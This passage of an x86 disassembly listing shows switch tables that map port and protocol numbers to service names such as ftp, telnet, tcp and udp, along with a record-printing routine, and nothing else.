; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805EC6C:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aRje ; case	0x5
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EC78:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aEcho ; case 0x7
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EC84:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aDiscard ; case 0x9
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EC90:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aSystat ; case 0xb
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EC9C:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aDaytime ; case 0xd
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ECA8:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aNetstat ; case 0xf
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ECB4:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aQotd ; case 0x11
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ECC0:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aChargen ; case 0x13
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ECCC:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aFtpData ; case 0x14
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ECD8:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aFtp ; case	0x15
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ECE4:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aTelnet ; case 0x17
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ECF0:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aSmtp ; case 0x19
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ECFC:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aTime ; case 0x25
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED08:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aRlp ; case	0x27
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED14:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aName ; case 0x2a
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED20:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aWhois ; case 0x2b
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED2C:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aDomain_0 ;	case 0x35
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED38:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aApts ; case 0x39
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED44:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aApfs ; case 0x3b
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED50:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aBootps ; case 0x43
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED5C:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aBootpc ; case 0x44
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED68:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aTftp ; case 0x45
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED74:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aFinger ; case 0x4f
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED80:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aLink ; case 0x57
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED8C:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aSupdup ; case 0x5f
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805ED98:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aNewacct ; case 0x64
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EDA4:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aHostnames ; case 0x65
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EDB0:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aIsoTsap ; case 0x66
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EDBC:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aX400 ; case 0x67
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EDC8:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aX400Snd ; case 0x68
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EDD4:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aCsnetNs ; case 0x69
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EDE0:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aPop2 ; case 0x6d
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EDEC:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aSunrpc ; case 0x6f
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EDF8:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aAuth ; case 0x71
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE04:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aSftp ; case 0x73
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE10:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aUucpPath ;	case 0x75
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE1C:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aNntp ; case 0x77
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE28:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aErpc ; case 0x79
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE34:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aNtp ; case	0x7b
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE40:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aStatsrv ; case 0x85
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE4C:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aProfile ; case 0x88
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE58:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aNews ; case 0x90
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE64:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aSnmp ; case 0xa1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE70:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aSnmpTrap ;	case 0xa2
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE7C:				; CODE XREF: sub_0_805E9B8+14j
					; DATA XREF: sub_0_805E9B8+1Co
		mov	eax, offset aPrintSrv ;	case 0xaa
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EE88:				; CODE XREF: sub_0_805E9B8+Ej
					; sub_0_805E9B8+14j
					; DATA XREF: ...
		call	sprintf(unk_0_807e3b0,'%d',edx)
		mov	eax, offset unk_0_807E3B0
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805E9B8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805EEA4	proc near		; CODE XREF: sub_0_805F7E4+6F9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [edx-1]	; switch 17 cases 
		cmp	eax, 10h
		ja	loc_0_805EF94	; default
		jmp	ds:off_0_805EEC0[eax*4]	; switch jump
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
off_0_805EEC0	dd offset loc_0_805EF04	; DATA XREF: sub_0_805EEA4+12r
		dd offset loc_0_805EF10	; jump table for switch	statement
		dd offset loc_0_805EF1C
		dd offset loc_0_805EF94
		dd offset loc_0_805EF28
		dd offset loc_0_805EF34
		dd offset loc_0_805EF40
		dd offset loc_0_805EF4C
		dd offset loc_0_805EF58
		dd offset loc_0_805EF94
		dd offset loc_0_805EF64
		dd offset loc_0_805EF70
		dd offset loc_0_805EF94
		dd offset loc_0_805EF94
		dd offset loc_0_805EF94
		dd offset loc_0_805EF7C
		dd offset loc_0_805EF88
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805EF04:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aIcmp ; case 0x1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF10:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aIgmp ; case 0x2
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF1C:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aGgp ; case	0x3
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF28:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aSt	; case 0x5
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF34:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aTcp ; case	0x6
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF40:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aUcl ; case	0x7
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF4C:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aEgp ; case	0x8
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF58:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aIgp ; case	0x9
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF64:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aNvpIi ; case 0xb
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF70:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aPup ; case	0xc
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF7C:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aChaos ; case 0x10
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF88:				; CODE XREF: sub_0_805EEA4+12j
					; DATA XREF: sub_0_805EEA4+1Co
		mov	eax, offset aUdp ; case	0x11
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805EF94:				; CODE XREF: sub_0_805EEA4+Cj
					; sub_0_805EEA4+12j
					; DATA XREF: ...
		call	sprintf(unk_0_807e3c4,'%d',edx)
		mov	eax, offset unk_0_807E3C4
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805EEA4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805EFB0	proc near		; CODE XREF: sub_0_805F1DC+3FCp
					; sub_0_805F1DC+42Ep ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_18]
		mov	edi, [ebp+arg_10]
		and	edi, dword_0_80786A4
		mov	ax, [ebp+arg_C]
		xchg	al, ah
		movzx	esi, ax
		test	esi, esi
		jz	loc_0_805F14C
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805EFEC
		test	edi, edi
		jz	short loc_0_805EFF9
		test	byte ptr dword_0_80786A4+1, 1
		jz	short loc_0_805EFF9

loc_0_805EFEC:				; CODE XREF: sub_0_805EFB0+2Dj
		call	fprintf(arg_14,adx)

loc_0_805EFF9:				; CODE XREF: sub_0_805EFB0+31j
					; sub_0_805EFB0+3Aj
		dec	esi
		js	loc_0_805F110
		mov	eax, esi
		not	eax
		and	eax, 1
		cmp	esi, 0FFFFFFFFh
		jle	short loc_0_805F010
		test	eax, eax
		jz	short loc_0_805F068

loc_0_805F010:				; CODE XREF: sub_0_805EFB0+5Aj
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F01D
		test	edi, edi
		jz	short loc_0_805F030

loc_0_805F01D:				; CODE XREF: sub_0_805EFB0+67j
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	ebx
		call	sub_0_805F7E4
		mov	ebx, eax
		jmp	short loc_0_805F050
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F030:				; CODE XREF: sub_0_805EFB0+6Bj
		lea	eax, [ebx+0FFh]
		push	eax
		push	ebx
		call	sub_0_804D404
		lea	ebx, [eax+ebx+8]
		push	ebx
		call	sub_0_804D6B8
		and	eax, 0FFFFh
		lea	ebx, [eax+ebx+2]

loc_0_805F050:				; CODE XREF: sub_0_805EFB0+7Dj
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], eax
		jl	loc_0_805F13C
		dec	esi
		js	loc_0_805F110

loc_0_805F068:				; CODE XREF: sub_0_805EFB0+5Ej
					; sub_0_805EFB0+15Aj
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F075
		test	edi, edi
		jz	short loc_0_805F088

loc_0_805F075:				; CODE XREF: sub_0_805EFB0+BFj
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	ebx
		call	sub_0_805F7E4
		mov	ebx, eax
		jmp	short loc_0_805F0A8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F088:				; CODE XREF: sub_0_805EFB0+C3j
		lea	eax, [ebx+0FFh]
		push	eax
		push	ebx
		call	sub_0_804D404
		lea	ebx, [eax+ebx+8]
		push	ebx
		call	sub_0_804D6B8
		and	eax, 0FFFFh
		lea	ebx, [eax+ebx+2]

loc_0_805F0A8:				; CODE XREF: sub_0_805EFB0+D5j
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], eax
		jl	loc_0_805F13C
		dec	esi
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F0C7
		test	edi, edi
		jz	short loc_0_805F0DC

loc_0_805F0C7:				; CODE XREF: sub_0_805EFB0+111j
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	ebx
		call	sub_0_805F7E4
		mov	ebx, eax
		jmp	short loc_0_805F0FC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F0DC:				; CODE XREF: sub_0_805EFB0+115j
		lea	eax, [ebx+0FFh]
		push	eax
		push	ebx
		call	sub_0_804D404
		lea	ebx, [eax+ebx+8]
		push	ebx
		call	sub_0_804D6B8
		and	eax, 0FFFFh
		lea	ebx, [eax+ebx+2]

loc_0_805F0FC:				; CODE XREF: sub_0_805EFB0+127j
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], eax
		jl	short loc_0_805F13C
		dec	esi
		jns	loc_0_805F068

loc_0_805F110:				; CODE XREF: sub_0_805EFB0+4Aj
					; sub_0_805EFB0+B2j
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F126
		test	edi, edi
		jz	short loc_0_805F14C
		test	byte ptr dword_0_80786A4+1, 1
		jz	short loc_0_805F14C

loc_0_805F126:				; CODE XREF: sub_0_805EFB0+167j
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+14h]
		cmp	[ecx+18h], eax
		ja	short loc_0_805F140
		push	0Ah
		push	ecx
		call	sub_0_8061910
		jmp	short loc_0_805F14C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F13C:				; CODE XREF: sub_0_805EFB0+ABj
					; sub_0_805EFB0+103j ...
		xor	eax, eax
		jmp	short loc_0_805F14E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805F140:				; CODE XREF: sub_0_805EFB0+17Fj
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [ecx+14h]

